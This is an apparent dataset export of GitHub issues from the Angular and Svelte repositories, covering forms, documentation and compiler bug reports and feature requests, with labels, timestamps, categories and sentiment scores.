angular/angular,3759261255,Easily scrap data fetching in DOM throught,"### Which @angular/* package(s) are the source of the bug?

platform-browser

### Is this a regression?

No

### Description

problem is whatsapp web anything open so that member contact number easily fetch and scrap this main problem to solve required to better HTML DOM

<img width=""501"" height=""361"" alt=""Image"" src=""https://github.com/user-attachments/assets/f0a8c40a-6878-44c7-84a9-abcc64d5f525"" />
<img width=""911"" height=""289"" alt=""Image"" src=""https://github.com/user-attachments/assets/a532e3a3-563e-4fe3-97a8-cfac87cc66bc"" />

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true
To solve the crusial data not show library required to end to end encrypted data so that dom throught not possiable to fetch like mobile number etc
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true

```

### Anything else?

_No response_",,2025-12-24 05:22:38+00:00,2025-12-24 06:38:23+00:00,2,nan,0.0526,easily scrap data fetching in dom throught which angular package s are the source of the bug platform browser is this a regression no description problem is whatsapp web anything open so that member contact number easily fetch and scrap this main problem to solve required to better html dom please provide a link to a of the bug no response please provide the exception or error you saw please provide the environment you discovered this bug in run anything else no response,others,-0.8074
angular/angular,3758884067,signal forms disabled state not in sync with it's disabled source signal,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

Yes

### Description

Given the sample below the isDisabled signal is `false`, but the disabled state is `true`.

This feels like a hoisting issue as the issue is fixed if I use a function to wrap the `isDisabled` in the `disabled` setup (see comments).

Another way to fix it would be to move the isDisabled signal before the form initialization.

I probably would have expected ts to give this error:
`Property 'isDisabled' is used before its initialization`
which I have seen appear when a similar setup is used with likedSignal source, and the linkedSignal correctly warns about the issue.

```typescript
import { Component, signal } from '@angular/core';
import { disabled, Field, form } from '@angular/forms/signals';

@Component({
  selector: 'swv-root',
  imports: [Field],
  styles: `
  input[disabled]{
    background-color: gray;
  }
  `,
  template: `
  <input [field]=""componentForm.a"" > 
  <div>
    should be disabled?: {{isDisabled()}}
  </div>
  <div>
    is really disabled?: {{componentForm.a().disabled()}}
  </div>
  `,
})
export class App {
  formModel = signal<{ a: string }>({ a: 'hello' });
  componentForm = form(this.formModel, (s) => {
    // disabled(s.a, () => this.isDisabled()); // << this work
    disabled(s.a, this.isDisabled); // << this doesnt work
  });
  isDisabled = signal(false);
}

```

### Please provide a link to a minimal reproduction of the bug

_No response... [TRUNCATED]","area: forms,forms: signals",2025-12-24 00:52:01+00:00,2026-01-05 21:41:56+00:00,5,"area: forms,forms: signals",12.868,signal forms disabled state not in sync with it s disabled source signal which angular package s are the source of the bug forms is this a regression yes description given the sample below the isdisabled signal is but the disabled state is this feels like a hoisting issue as the issue is fixed if i use a function to wrap the in the setup see comments another way to fix it would be to move the isdisabled signal before the form initialization i probably would have expected ts to give this error which i have seen appear when a similar setup is used with likedsignal source and the linkedsignal correctly warns about the issue please provide a link to a of the bug no response truncated,others,-0.5927
angular/angular,3758762658,Copy-to-clipboard icon moves to a new line for long heading text,"### Describe the problem that you experienced

When inline text or code is long enough to wrap into multiple lines, the copy-to-clipboard icon is rendered on a separate line below the text, instead of staying aligned with the first line.
For example  [An event is handled by a component with default change detection](https://angular.dev/best-practices/skipping-subtrees#an-event-is-handled-by-a-component-with-default-change-detection)

Example 

<img width=""803"" height=""90"" alt=""Image"" src=""https://github.com/user-attachments/assets/368ad121-716c-42d4-9258-ae1b7bbc9f89"" />


### Proposed solution
Consider improving the wrapping behavior by using text-wrap: balance or text-wrap: pretty, so the text wraps more evenly and keeps the copy icon visually aligned with the content.

This would improve readability and consistency across documentation pages with long inline text.


I’m not sure about using text-wrap: balance, since it seems to produce layouts like the one shown in the image above.

<img width=""805"" height=""638"" alt=""Image"" src=""https://github.com/user-attachments/assets/b30e89ea-0ac7-4c6f-98f2-82bcb7ecdd97"" />


text-wrap: pretty might be a better fit in this case, but I’d like to get the team’s feedback before proposing a PR.

<img width=""834"" height=""660"" alt=""Image"" src=""https://github.com/user-attachments/assets/5cb16a87-2362-409a-aa05-51336d1be55a"" />

 ","open for contributions,area: docs-infra",2025-12-23 23:02:48+00:00,2026-01-02 07:24:41+00:00,1,"open for contributions,area: docs-infra",9.3485,copy to clipboard icon moves to a new line for long heading text describe the problem that you experienced when inline text or code is long enough to wrap into multiple lines the copy to clipboard icon is rendered on a separate line below the text instead of staying aligned with the first line for example an event is handled by a component with default change detection example proposed solution consider improving the wrapping behavior by using text wrap balance or text wrap pretty so the text wraps more evenly and keeps the copy icon visually aligned with the content this would improve readability and consistency across documentation pages with long inline text i m not sure about using text wrap balance since it seems to produce layouts like the one shown in the image above text wrap pretty might be a better fit in this case but i d like to get the team s feedback before proposing a pr,feature,0.9015
angular/angular,3758727760,Files not used in adev code,"### Describe the problem that you experienced

The files in the screenshot don’t seem to be used in the code. Is it possible to delete them?

**Files path =>** **/src/content/example/animations/src/app/about...**

<img width=""297"" height=""180"" alt=""Image"" src=""https://github.com/user-attachments/assets/89d4b275-4ad6-4a49-b1a4-75a0459a0a4f"" />

I can delete the files and open a PR

### Enter the URL of the topic with the problem

_No response_

### Describe what you were looking for in the documentation

_No response_

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

_No response_

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```",area: docs-infra,2025-12-23 22:34:22+00:00,2025-12-23 23:30:02+00:00,2,area: docs-infra,0.0387,files not used in adev code describe the problem that you experienced the files in the screenshot don t seem to be used in the code is it possible to delete them files path src content example animations src app about i can delete the files and open a pr enter the url of the topic with the problem no response describe what you were looking for in the documentation no response describe the actions that led you to experience the problem no response describe what you want to experience that would fix the problem no response add a screenshot if that helps illustrate the problem no response if this problem caused an exception or error please paste it here if the problem is browser specific please specify the device os browser and version provide any additional information here in as much as detail as you can,documentation,-0.9633
angular/angular,3757393594,Can we restore old time query param routing for angular,"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

The reson why I need this option to be available is because in applications like electron it is not important how route address looks like it is important to have way to open specific view and refresh it or open specific route in different windows. Now it is quite difficult to have that. I need something like localhost:4200?route=dashboard for example to open specific part of app in diffrent windows in electron.

### Proposed solution

enabling option for query like path.

### Alternatives considered

n/a",,2025-12-23 13:32:07+00:00,2025-12-23 15:23:36+00:00,2,nan,0.0774,can we restore old time query param routing for angular which angular package s are relevant related to the feature request no response description the reson why i need this option to be available is because in applications like electron it is not important how route address looks like it is important to have way to open specific view and refresh it or open specific route in different windows now it is quite difficult to have that i need something like localhost route dashboard for example to open specific part of app in diffrent windows in electron proposed solution enabling option for query like path alternatives considered n a,others,0.7448
angular/angular,3756643190,Signal forms debounce for clear button,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

Yes

### Description

I have an search input with a form signal field, the field has a `debounce(fieldPath, 500)` of 500 ms.
Next to the input I have a button that clears the input.

The set up that I had before, with reactive forms allowed me to have a rxjs debounce during user text input, and then the clear button was immediate in it's action.

I have refactored this to use signal forms, but I am noticing that by using the debounce new api, the clear button does a debounce as well.

The debounce behavior by updating the signal via the `form().value.set('')` is debouncing as expected. But I was hoping that maybe when I clear the input via the formModel signal instead, I could bypass the debounce.

I can think of a couple of workarounds to solve my usecase using rxjs + signal forms, but I will have to drop the new signal forms debounce api.

Is there any way to approach this purely with signal forms and not revert to rxjs?
Thanks.

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true

```

### Anything else?

_No response_","area: forms,needs: clarification,forms: signals",2025-12-23 09:03:28+00:00,2025-12-23 09:42:03+00:00,3,"area: forms,needs: clarification,forms: signals",0.0268,signal forms debounce for clear button which angular package s are the source of the bug forms is this a regression yes description i have an search input with a form signal field the field has a of ms next to the input i have a button that clears the input the set up that i had before with reactive forms allowed me to have a rxjs debounce during user text input and then the clear button was immediate in it s action i have refactored this to use signal forms but i am noticing that by using the debounce new api the clear button does a debounce as well the debounce behavior by updating the signal via the is debouncing as expected but i was hoping that maybe when i clear the input via the formmodel signal instead i could bypass the debounce i can think of a couple of workarounds to solve my usecase using rxjs signal forms but i will have to drop the new signal forms debounce api is there any way to approach this purely with signal forms and not revert to rxjs thanks please provide a link to a of the bug no response please provide the exception or error you saw please provide the environment you discovered this bug in run anything else no response,others,0.8555
angular/angular,3755939189,Configure Angular CLI to generate services in a default services/ folder?,"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

I have a query regarding the current behavior and configuration options of the Angular CLI when generating services.

At the moment:

`ng g s customerservice`

creates the service in the current directory:

`src/app/customerservice.service.ts`

Whereas:

`ng g s customers/customerservice`

creates:

`src/app/customers/customerservice.service.ts`

since the CLI treats the name as a path.

Is there any existing or recommended way to configure the Angular CLI (for example via angular.json, schematics, or workspace defaults) so that:

`ng g s customerservice`

would automatically generate the service under a default folder such as:

`src/app/services/customer.service.ts`

**Context**

In many Angular projects, services are commonly grouped under a services/ directory for better organization and scalability. Having a configurable default location would reduce repetitive CLI usage and help enforce consistent project structure.

***Additional context***

If this is not currently supported, I’d appreciate guidance on:

- recommended best practices, or
- whether custom schematics are the intended solution.



### Proposed solution

1. Allow the CLI to generate services in a default services/ folder.
2. Could be done via:

- CLI flag: ng g s customerservice --folder=services
- Workspace-wide default in angular.json
- Custom schematic configuration

### Alternatives considered

... [TRUNCATED]",,2025-12-23 03:57:52+00:00,2025-12-23 08:04:25+00:00,5,nan,0.1712,configure angular cli to generate services in a default services folder which angular package s are relevant related to the feature request no response description i have a query regarding the current behavior and configuration options of the angular cli when generating services at the moment creates the service in the current directory whereas creates since the cli treats the name as a path is there any existing or recommended way to configure the angular cli for example via angular json schematics or workspace defaults so that would automatically generate the service under a default folder such as context in many angular projects services are commonly grouped under a services directory for better organization and scalability having a configurable default location would reduce repetitive cli usage and help enforce consistent project structure if this is not currently supported i d appreciate guidance on recommended best practices or whether custom schematics are the intended solution proposed solution allow the cli to generate services in a default services folder could be done via cli flag ng g s customerservice folder services workspace wide default in angular json custom schematic configuration alternatives considered truncated,others,0.9284
angular/angular,3754309464,Inconsistent component class naming in angular.dev examples,"### Describe the problem that you experienced

According to the current [Angular Style Guide](https://angular.dev/style-guide), the Component suffix is no longer recommended.
However, examples in `angular.dev` are inconsistent: some still use the Component suffix while others do not.

 ",area: docs,2025-12-22 16:00:23+00:00,2026-01-09 16:26:38+00:00,3,area: docs,18.0182,inconsistent component class naming in angular dev examples describe the problem that you experienced according to the current angular style guide the component suffix is no longer recommended however examples in are inconsistent some still use the component suffix while others do not,documentation,-0.4767
angular/angular,3753638670,Custom Angular Project Structure Generation,"### Which @angular/* package(s) are relevant/related to the feature request?

compiler-cli

### Description

Currently, when creating a new Angular project using the Angular CLI (ng new), the CLI generates a fixed default folder structure. While this structure works well for simple applications, most real-world and enterprise Angular projects require a custom architecture from the beginning.

In practice, developers and teams often need to manually restructure the generated project to follow their preferred architecture, such as separating folders for auth, features, shared, and core. This manual setup process is repetitive, time-consuming, and can lead to inconsistencies across projects and teams.

I would like to propose a feature (or supporting tool) that allows developers to define their Angular project architecture before project generation.

### Proposed solution

Provide a simple and interactive way to generate an Angular project with a custom structure instead of the default Angular CLI layout.

The proposed flow would be:

Ask the developer which Angular version they want to use when creating the project

Ask whether the project should be module-based or standalone (component-based)

Allow the developer to define their own main folder structure

For example, a developer may want the following top-level folders:

core

shared

features

layout

The developer should be able to fully manage and customize these folders, including creating subfolders inside them based on ... [TRUNCATED]",,2025-12-22 12:32:19+00:00,2025-12-22 12:36:05+00:00,1,nan,0.0026,custom angular project structure generation which angular package s are relevant related to the feature request compiler cli description currently when creating a new angular project using the angular cli ng new the cli generates a fixed default folder structure while this structure works well for simple applications most real world and enterprise angular projects require a custom architecture from the beginning in practice developers and teams often need to manually restructure the generated project to follow their preferred architecture such as separating folders for auth features shared and core this manual setup process is repetitive time consuming and can lead to inconsistencies across projects and teams i would like to propose a feature or supporting tool that allows developers to define their angular project architecture before project generation proposed solution provide a simple and interactive way to generate an angular project with a custom structure instead of the default angular cli layout the proposed flow would be ask the developer which angular version they want to use when creating the project ask whether the project should be module based or standalone component based allow the developer to define their own main folder structure for example a developer may want the following top level folders core shared features layout the developer should be able to fully manage and customize these folders including creating subfolders inside them based on truncated,others,0.9612
angular/angular,3751138393,one left arrow bug,"### Which @angular/* package(s) are the source of the bug?

common

### Is this a regression?

No

### Description

clear this bugs 

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true

```

### Anything else?

<img width=""549"" height=""261"" alt=""Image"" src=""https://github.com/user-attachments/assets/a5a4281e-67b3-42f7-9148-540291018474"" />",area: docs-infra,2025-12-21 13:19:17+00:00,2026-01-02 07:22:18+00:00,1,area: docs-infra,11.7521,one left arrow bug which angular package s are the source of the bug common is this a regression no description clear this bugs please provide a link to a of the bug no response please provide the exception or error you saw please provide the environment you discovered this bug in run anything else,bug,-0.872
angular/angular,3748701547,Resource API's reload should return a promise,"### Which @angular/* package(s) are relevant/related to the feature request?

core

### Description

The reload() method in Angular v20's new resource API currently returns a boolean indicating whether a reload was triggered. It should instead return a promise to enable modern async handling and error management.

### Proposed solution

Change reload() to return a Promise that resolves when the reload completes.

### Alternatives considered

Introduce a new reloadAsync() method alongside the existing reload().",,2025-12-19 20:07:21+00:00,2025-12-19 22:15:55+00:00,2,nan,0.0893,resource api s reload should return a promise which angular package s are relevant related to the feature request core description the reload method in angular v s new resource api currently returns a boolean indicating whether a reload was triggered it should instead return a promise to enable modern async handling and error management proposed solution change reload to return a promise that resolves when the reload completes alternatives considered introduce a new reloadasync method alongside the existing reload,others,0.7096
angular/angular,3747828890,Signal Forms disable / enable function to disable all fields inside a form,"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

In Reactive Forms, we can disable/enable the entire form tree imperatively via:

```typescript
form.disable();
form.enable();
```

With Signal Forms, there is still a `disabled()` state on fields (and the root form aggregates field state), but there is currently no supported equivalent to disable/enable the entire form tree.

If I create a Signal Form like this:

```typescript
export const conferenceInitialState = {
  name: '',
  startDate: new Date(),
  endDate: new Date(),
  online: false,
  url: '',
  location: '',
  description: '',
};

readonly conferenceModel = signal(conferenceInitialState);
readonly conferenceForm = form(this.conferenceModel);
```

I can read form state signals such as:

```
this.conferenceForm().disabled();
```

…but `conferenceForm().disabled()` is never true because no mechanism exists to apply a form-level disabled rule (only field-level rules via schema).

To disable multiple fields today, I need to define a top-level signal and apply disabled(...) per field:
```
readonly formDisabled = signal(false);

readonly conferenceForm = form(this.conferenceModel, (path) => {
  disabled(path.name, () => this.formDisabled());
  disabled(path.startDate, () => this.formDisabled());
  disabled(path.endDate, () => this.formDisabled());
  disabled(path.online, () => this.formDisabled());
  disabled(path.url, () => this.formDisabled());
  disabled(path.lo... [TRUNCATED]","area: forms,forms: signals",2025-12-19 15:06:05+00:00,2025-12-30 10:18:47+00:00,3,"area: forms,forms: signals",10.8005,signal forms disable enable function to disable all fields inside a form which angular package s are relevant related to the feature request no response description in reactive forms we can disable enable the entire form tree imperatively via with signal forms there is still a state on fields and the root form aggregates field state but there is currently no supported equivalent to disable enable the entire form tree if i create a signal form like this i can read form state signals such as but is never true because no mechanism exists to apply a form level disabled rule only field level rules via schema to disable multiple fields today i need to define a top level signal and apply disabled per field readonly formdisabled signal false readonly conferenceform form this conferencemodel path disabled path name this formdisabled disabled path startdate this formdisabled disabled path enddate this formdisabled disabled path online this formdisabled disabled path url this formdisabled disabled path lo truncated,others,0.2148
sveltejs/svelte,4688258195,"[bug] Rune mode compiles `!==` to $.strict_equals(a, b, false) — inverted comparison","
### Description

When using rune mode in a `.svelte` or `.svelte.ts` file, the `!==`
binary operator is incorrectly compiled so that the resulting
`$.strict_equals()` call receives the wrong `equal` flag, silently
inverting the comparison. This affects **every** `!==` used inside
rune-mode `.svelte` and `.svelte.ts` files, with no warning at compile
time or runtime.

In our codebase, this bug has bitten us at least **38 times** across
**16 files** after a full sweep of all 167 `!==` usages. Every one
required a workaround.

### Reproduction

Minimal `.svelte` file (Svelte 5, rune mode):

```svelte
<!-- repro.svelte -->
<script lang=""ts"">
  let a = 'hello';
  let b = 'world';
  console.log('a !== b:', a !== b);
</script>
```

### Compiled output

Svelte 5 compiles the above to (in dev mode):

```js
console.log('a !== b:', $.strict_equals(a, b, false));
```

The `strict_equals` helper is defined in
`src/internal/client/dev/equality.js` as:

```js
export function strict_equals(a, b, equal = true) {
  return (a === b) === equal;
}
```

The third argument `equal` controls the result:

| Call | Returns | Meaning |
|------|---------|---------|
| `$.strict_equals(a, b, true)` | `(a === b) === true` → `a === b` | Correct for `===` |
| `$.strict_equals(a, b, false)` | `(a === b) === false` → `a !== b` | Correct for `!==` |

The issue is in the **compiler's BinaryExpression visitor**
(`src/compiler/phases/3-transform/client/visitors/BinaryExpression.js`).
In dev mode, the `===` and `!=... [TRUNCATED]",,2026-06-18 01:04:38+00:00,2026-06-18 02:40:03+00:00,1,nan,0.0663,bug rune mode compiles to strict equals a b false inverted comparison description when using rune mode in a or file the binary operator is incorrectly compiled so that the resulting call receives the wrong flag silently inverting the comparison this affects every used inside rune mode and files with no warning at compile time or runtime in our codebase this bug has bitten us at least times across files after a full sweep of all usages every one required a workaround reproduction minimal file svelte rune mode compiled output svelte compiles the above to in dev mode the helper is defined in as the third argument controls the result call returns meaning correct for correct for the issue is in the compiler s binaryexpression visitor in dev mode the and truncated,bug,-0.9153
sveltejs/svelte,4686553961,"<script type=""application/ld+json""> inside <svelte:head> is duplicated in the DOM","### Describe the bug

When placing a <script type=""application/ld+json""> tag inside <svelte:head>, the tag ends up rendered twice in the HTML. Other elements inside <svelte:head> (like <title>, <meta>, <link>) are not affected.


### Reproduction

`<svelte:head>
  <script type=""application/ld+json"">
    {""@context"": ""https://schema.org/"", ""@type"": ""FAQPage"", ""mainEntity"": []}
  </script>
</svelte:head>`

Open DevTools → Elements and search for FAQPage — it appears twice in the DOM.

### Logs

```shell

```

### System Info

```shell
SvelteKit (latest)
```

### Severity

blocking an upgrade",,2026-06-17 19:47:45+00:00,2026-06-17 19:50:30+00:00,0,nan,0.0019,inside is duplicated in the dom describe the bug when placing a tag inside the tag ends up rendered twice in the html other elements inside like are not affected reproduction context type faqpage mainentity open devtools elements and search for faqpage it appears twice in the dom logs system info severity blocking an upgrade,others,-0.3931
sveltejs/svelte,4626028816,Please support installation via CDN,"### Describe the problem

Sometimes I want to do quick prototyping of svelte components I need to do a lot of work. If there's a way to install svelte via CDN it will be really helpful. Other project like tailwind or alpinejs can do this. 

### Describe the proposed solution

Add installation via CDN

### Importance

would make my life easier",,2026-06-09 22:13:52+00:00,2026-06-10 07:58:55+00:00,1,nan,0.4063,please support installation via cdn describe the problem sometimes i want to do quick prototyping of svelte components i need to do a lot of work if there s a way to install svelte via cdn it will be really helpful other project like tailwind or alpinejs can do this describe the proposed solution add installation via cdn importance would make my life easier,help,0.9299
sveltejs/svelte,4595117802,"Compiler drops parentheses in boolean expressions, changing operator precedence","### Describe the bug

## Description
The Svelte 5 compiler strips parentheses from boolean expressions, 
changing operator precedence and producing incorrect runtime behaviour.



### Reproduction

## Reproduction

Source:
```js
if (hasAlarms && (hasNotBeenRaised || canReRaise)) {
```

Compiled output:
```js
if (hasAlarms && hasNotBeenRaised || canReRaise) {
```

Which evaluates as:
```js
if ((hasAlarms && hasNotBeenRaised) || canReRaise) {
```

## Expected
Compiled output should preserve the original operator precedence.

## Workaround
Split into separate variables to avoid nested boolean expressions:
```js
const canShow = hasNotBeenRaised || canReRaise
const shouldShow = hasAlarms && canShow
if (shouldShow) {
```



### Logs

```shell
Map.svelte:829 BEFORE IF {hasAlarms: false, hasNotBeenRaised: false, canReRaise: true}
Map.svelte:832 SHOWING ALARMS {hasAlarms: false, hasNotBeenRaised: false, canReRaise: true}
```

### System Info

```shell
## Environment
- svelte: 5.56.1
- vite-plugin-svelte: 7.1.2
- vite: 8.0.13
```

### Severity

annoyance",,2026-06-05 07:29:38+00:00,2026-06-05 12:30:58+00:00,1,nan,0.2093,compiler drops parentheses in boolean expressions changing operator precedence describe the bug description the svelte compiler strips parentheses from boolean expressions changing operator precedence and producing incorrect runtime behaviour reproduction reproduction source compiled output which evaluates as expected compiled output should preserve the original operator precedence workaround split into separate variables to avoid nested boolean expressions logs system info severity annoyance,others,-0.6369
sveltejs/svelte,4595093035,$state.snapshot with BigInt properties infer as never,"### Describe the bug

Hey, I noticed when I try using $state.snapshot with an object that contains a BigInt, the property is inferred as `never`.

In the types for $state.snapshot:

```ts
	type Snapshot<T> = T extends Primitive
		? T
		: T extends Cloneable
			? NonReactive<T>
			: T extends { toJSON(): infer R }
				? R
				: T extends readonly unknown[]
					? { [K in keyof T]: Snapshot<T[K]> }
					: T extends Array<infer U>
						? Array<Snapshot<U>>
						: T extends object
							? T extends { [key: string]: any }
								? { [K in keyof T]: Snapshot<T[K]> }
								: never
							: never;
```

It first checks if `T` is a Primitive, which is defined as such:

```ts
type Primitive = string | number | boolean | null | undefined;
```

It then checks if `T` is a Cloneable, which is defined as such:

```ts
	/** The things that `structuredClone` can handle — https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API/Structured_clone_algorithm */
	export type Cloneable =
		| ArrayBuffer
		| DataView
		| Date
		| Error
		| Map<any, any>
		| RegExp
		| Set<any>
		| TypedArray
		// web APIs
		| Blob
		| CryptoKey
		| DOMException
		| DOMMatrix
		| DOMMatrixReadOnly
		| DOMPoint
		| DOMPointReadOnly
		| DOMQuad
		| DOMRect
		| DOMRectReadOnly
		| File
		| FileList
		| FileSystemDirectoryHandle
		| FileSystemFileHandle
		| FileSystemHandle
		| ImageBitmap
		| ImageData
		| RTCCertificate
		| VideoFrame;
```

BigInts are not only supported by structuredClone, they are also pri... [TRUNCATED]",,2026-06-05 07:25:12+00:00,2026-06-05 13:35:32+00:00,0,nan,0.2572,state snapshot with bigint properties infer as never describe the bug hey i noticed when i try using state snapshot with an object that contains a bigint the property is inferred as in the types for state snapshot it first checks if is a primitive which is defined as such it then checks if is a cloneable which is defined as such bigints are not only supported by structuredclone they are also pri truncated,others,0.1326
sveltejs/svelte,4592525893,Async derived rejection escapes inner boundary,"### Describe the bug


Looks like this was introduced in 5.55.6.

Used claude for the research/repro:

When an async $derived rejects inside a <svelte:boundary> that handles the error (via failed and/or onerror), the error is delivered twice. The first delivery is handled correctly — the boundary tears down its main effect and renders the failed snippet. But a follow-up settle then re-runs the reaction (finish in reactivity/async.js), which synchronously re-throws the rejected value and routes it through invoke_error_boundary(error, parent). By then the handling boundary's effect has been destroyed, so effect.b is null, and invoke_error_boundary crashes at:

```
// packages/svelte/src/internal/client/error-handling.js
/** @type {Boundary} */ (effect.b).error(error); // effect.b is null
```

with TypeError: Cannot read properties of null (reading 'error'). That secondary error has no live boundary to catch it, so it escapes to the parent boundary — i.e. a child component's localized error takes down a much larger part of the tree.

A dependent $derived that reads the awaited value (const model = $derived({ title: data.title })) is what triggers the re-run; without the second read the reaction has nothing to re-evaluate.

### Reproduction

https://svelte.dev/playground/ab1d596e8f5f45ebb7f844db875fe56b?version=5.55.6

Not fixed in 5.56.2 https://svelte.dev/playground/ab1d596e8f5f45ebb7f844db875fe56b?version=5.56.2

Works in 5.55.5 https://svelte.dev/playground/ab1d596e8f5f45ebb7... [TRUNCATED]",,2026-06-04 22:14:37+00:00,2026-06-05 19:17:51+00:00,0,nan,0.8772,async derived rejection escapes inner boundary describe the bug looks like this was introduced in used claude for the research repro when an async derived rejects inside a that handles the error via failed and or onerror the error is delivered twice the first delivery is handled correctly the boundary tears down its main effect and renders the failed snippet but a follow up settle then re runs the reaction finish in reactivity async js which synchronously re throws the rejected value and routes it through invoke error boundary error parent by then the handling boundary s effect has been destroyed so effect b is null and invoke error boundary crashes at with typeerror cannot read properties of null reading error that secondary error has no live boundary to catch it so it escapes to the parent boundary i e a child component s localized error takes down a much larger part of the tree a dependent derived that reads the awaited value const model derived title data title is what triggers the re run without the second read the reaction has nothing to re evaluate reproduction not fixed in works in truncated,others,-0.9911
sveltejs/svelte,4588272909,<svelte:boundary> fails to execute {@attach} inside an await block when layout also contains an await block,"### Describe the bug

An element utilizing the `{@attach}` directive inside a `<svelte:boundary>` fails to execute its attachment callback if the boundary includes an `await` block, and the parent `+layout.svelte` also resolves an `await` expression prior to rendering its children (`{@render children()}`).

The callback inside `{@attach}` is bypassed entirely. However, prepending an empty dummy `<svelte:boundary>` directly before the affected boundary mitigates the issue, allowing the lifecycle to execute correctly.

### Expected behavior
The `{@attach}` callback on the `<div>` should execute and log `'run'` to the console once the promise within the boundary resolves and the element mounts.

### Actual behavior
The `{@attach}` callback is ignored, and nothing is logged to the console.

### Workaround
The execution triggers normally if a dummy `<svelte:boundary>` with an empty asynchronous expression is placed immediately above the primary boundary:

```svelte
<svelte:boundary>
    {await ''}
    {#snippet pending()}{/snippet}
</svelte:boundary>

<svelte:boundary>
    {await new Promise((resolve) => setTimeout(resolve, 50))}
    <div
        {@attach () => {
            console.log('run');
        }}
    >
        loaded
    </div>
    {#snippet pending()}
        pending
    {/snippet}
</svelte:boundary>
```

### Reproduction

#### Reproduction Link

- Svelte Playground (REPL): https://svelte.dev/playground/0a7189adb1ff4f3ab38379f42d37e7e1?version=5.56.1

**Note on reproduct... [TRUNCATED]",,2026-06-04 11:24:35+00:00,2026-06-06 08:20:35+00:00,3,nan,1.8722,fails to execute attach inside an await block when layout also contains an await block describe the bug an element utilizing the directive inside a fails to execute its attachment callback if the boundary includes an block and the parent also resolves an expression prior to rendering its children the callback inside is bypassed entirely however prepending an empty dummy directly before the affected boundary mitigates the issue allowing the lifecycle to execute correctly the callback on the should execute and log to the console once the promise within the boundary resolves and the element mounts the callback is ignored and nothing is logged to the console workaround the execution triggers normally if a dummy with an empty asynchronous expression is placed immediately above the primary boundary reproduction svelte playground repl note on reproduct truncated,others,-0.9337
sveltejs/svelte,4585987469,Compiler drops precedence-significant parentheses in logical expressions (`a && (b || c)` → `a && b || c`),"### Describe the bug

When the Svelte compiler re-prints a JavaScript logical expression that contains a
**parenthesized `||` (or `&&`) nested on the side that needs the parentheses**, it
emits the expression **without the parentheses**. Because `&&` binds tighter than
`||`, this silently changes the runtime semantics of the code.

Source:

```js
if (e.key === 'b' && (e.metaKey || e.ctrlKey)) { ... }
```

Compiled output:

```js
if (e.key === 'b' && e.metaKey || e.ctrlKey) { ... }
// JS parses this as: ((e.key === 'b' && e.metaKey) || e.ctrlKey)
```

So the guard fires whenever `e.ctrlKey` is true, regardless of `e.key`. In our app
this made a `Ctrl+B` sidebar shortcut toggle on _any_ Ctrl-held key (and on Ctrl
alone), which the source code clearly does not express.

This affects both `compile` (component markup/script) and `compileModule`
(`.svelte.js` / `.svelte.ts`), so it appears to be in the shared code printer
(esrap), not the template transform.

### Cases

| Source                  | Compiled output       | Semantics                       |
| ----------------------- | --------------------- | ------------------------------- |
| `a && (b \|\| c)`       | `a && b \|\| c`       | ❌ changed → `(a && b) \|\| c`  |
| `(a \|\| b) && c`       | `a \|\| b && c`       | ❌ changed → `a \|\| (b && c)`  |
| `a === b && (c \|\| d)` | `a === b && c \|\| d` | ❌ changed (real-world case)    |
| `a \|\| (b && c)`       | `a \|\| b && c`       | ✅ unchanged (parens redundant) |

The prin... [TRUNCATED]",,2026-06-04 05:07:28+00:00,2026-06-04 05:17:22+00:00,1,nan,0.0069,compiler drops precedence significant parentheses in logical expressions describe the bug when the svelte compiler re prints a javascript logical expression that contains a parenthesized or nested on the side that needs the parentheses it emits the expression without the parentheses because binds tighter than this silently changes the runtime semantics of the code source compiled output so the guard fires whenever is true regardless of in our app this made a sidebar shortcut toggle on any ctrl held key and on ctrl alone which the source code clearly does not express this affects both component markup script and so it appears to be in the shared code printer esrap not the template transform cases source compiled output semantics changed changed changed real world case unchanged parens redundant the prin truncated,others,0.5719
sveltejs/svelte,4585442964,Assigning to `state` via top level `await` breaks attachments,"### Describe the bug

Assigning to a `$state` via a top level `await` results in no attachments ever running.

This is easily fixed by moving the `await` inside the `$state` initialization but it should at least cause an error or warning or something.

### Reproduction

https://svelte.dev/playground/7bef44eb525d4fd68151dd1b8dc1e016?version=5.56.1

### Logs

```shell

```

### System Info

```shell
`REPL`
```

### Severity

annoyance",,2026-06-04 03:11:54+00:00,2026-06-06 00:57:03+00:00,4,nan,1.9064,assigning to via top level breaks attachments describe the bug assigning to a via a top level results in no attachments ever running this is easily fixed by moving the inside the initialization but it should at least cause an error or warning or something reproduction logs system info severity annoyance,others,-0.8422
sveltejs/svelte,4584127975,Bad order of operations in expressions,"### Describe the bug

    const big = 'are you kidding'
    const small = ''
    console.log(false && (small || big))

in typescript the output is: false
in a svelte component the output is: 'are you kidding'

it would seem the original expression is being transpiled to:
(false && small) || big

### Reproduction

the example given in the description is easily reproduced

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 26.5.1
    CPU: (12) x64 Intel(R) Core(TM) i5-10600 CPU @ 3.30GHz
    Memory: 447.70 MB / 48.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.22.2 - /Users/tobylewis/.nvm/versions/node/v22.22.2/bin/node
    npm: 10.9.7 - /Users/tobylewis/.nvm/versions/node/v22.22.2/bin/npm
    pnpm: 11.5.0 - /Users/tobylewis/.nvm/versions/node/v22.22.2/bin/pnpm
  Browsers:
    Chrome: 148.0.7778.216
    Firefox: 127.0.2
    Safari: 26.5
  npmPackages:
    svelte: catalog: => 5.56.1
```

### Severity

